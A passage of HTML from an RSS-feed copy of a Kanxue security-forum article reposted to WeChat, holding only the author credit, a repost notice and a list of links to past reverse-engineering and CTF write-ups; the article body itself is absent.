data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="128" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/Cpo2XCpI7K0WgEoicO6PZNykNKRozqdjCWnqrf66V7WOS3SOLiciaYFdmUMJMiceID8nyRNuQ3FzUY6KN90NwLPR3VWoFYMvH7EewlESQHhpVEE/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="68" data-cropsely2="68" data-imgfileid="311130365" src="https://wechat2rss.xlab.app/img-proxy/?k=1a88c533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0WgEoicO6PZNykNKRozqdjCWnqrf66V7WOS3SOLiciaYFdmUMJMiceID8nyRNuQ3FzUY6KN90NwLPR3VWoFYMvH7EewlESQHhpVEE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">江树</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-1001108.htm" target="_blank">https://bbs.kanxue.com/user-home-1001108.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛精华文章，由 </span><span leaf="">江树</span><span leaf="">原创，转载请注明来自看雪社区</span></span></p><div style="text-align: center;margin-left: 0px;margin-right: 0px;"><p style="text-align: center;margin-top: 16px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40390625" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K2qcLqpRmOMibeYwDybhCLLIjdNicUibsZsCmf4IQWHhSkZ8vaFGSPmKKNcSdD8ansPXR7U0ricmvGqBM3XEmciazwVm1V3Lq4qvQbE/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="325" data-backw="578" data-backh="233" data-imgfileid="311129069" src="https://wechat2rss.xlab.app/img-proxy/?k=480134db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2qcLqpRmOMibeYwDybhCLLIjdNicUibsZsCmf4IQWHhSkZ8vaFGSPmKKNcSdD8ansPXR7U0ricmvGqBM3XEmciazwVm1V3Lq4qvQbE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p></div><div mpa-from-tpl="t" data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-mpa-action-id="mn46ojsngb5" data-pm-slice="0 0 []"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);" data-mpa-action-id="mc4gkooxw4z"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612348&amp;idx=1&amp;sn=9b1f49187644981e264882dedfde45f9&amp;scene=21#wechat_redirect" textvalue="安卓逆向基础知识之frida Hook" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">安卓逆向基础知识之frida Hook</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr65jp" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612341&amp;idx=1&amp;sn=08f4b531105ec2b3a44360f66169db05&amp;scene=21#wechat_redirect" textvalue="2025 强网杯和强网拟态部分题解" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">2025 强网杯和强网拟态部分题解</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61va5" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612340&amp;idx=1&amp;sn=0c799826addbc96801752a6c70938bf1&amp;scene=21#wechat_redirect" textvalue="在逆向分析方面-unidbg真的适合 MCP 吗？" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">在逆向分析方面-unidbg真的适合 MCP 吗？</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61ws2" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612335&amp;idx=1&amp;sn=ca23336eef45a4993cc6e5b191e62a61&amp;scene=21#wechat_redirect" textvalue="AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=2&amp;sn=47fe8a55e77b2ca8f2f8d73c9a9d99d0&amp;scene=21#wechat_redirect" textvalue="某安全so库深度解析" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某安全so库深度解析</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-290786.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=539fced7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614423%26idx%3D1%26sn%3D8526e89b264b69a99591972be2130d0c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 May 2026 18:22:00 +0800</pubDate>
    </item>
  </channel>
</rss>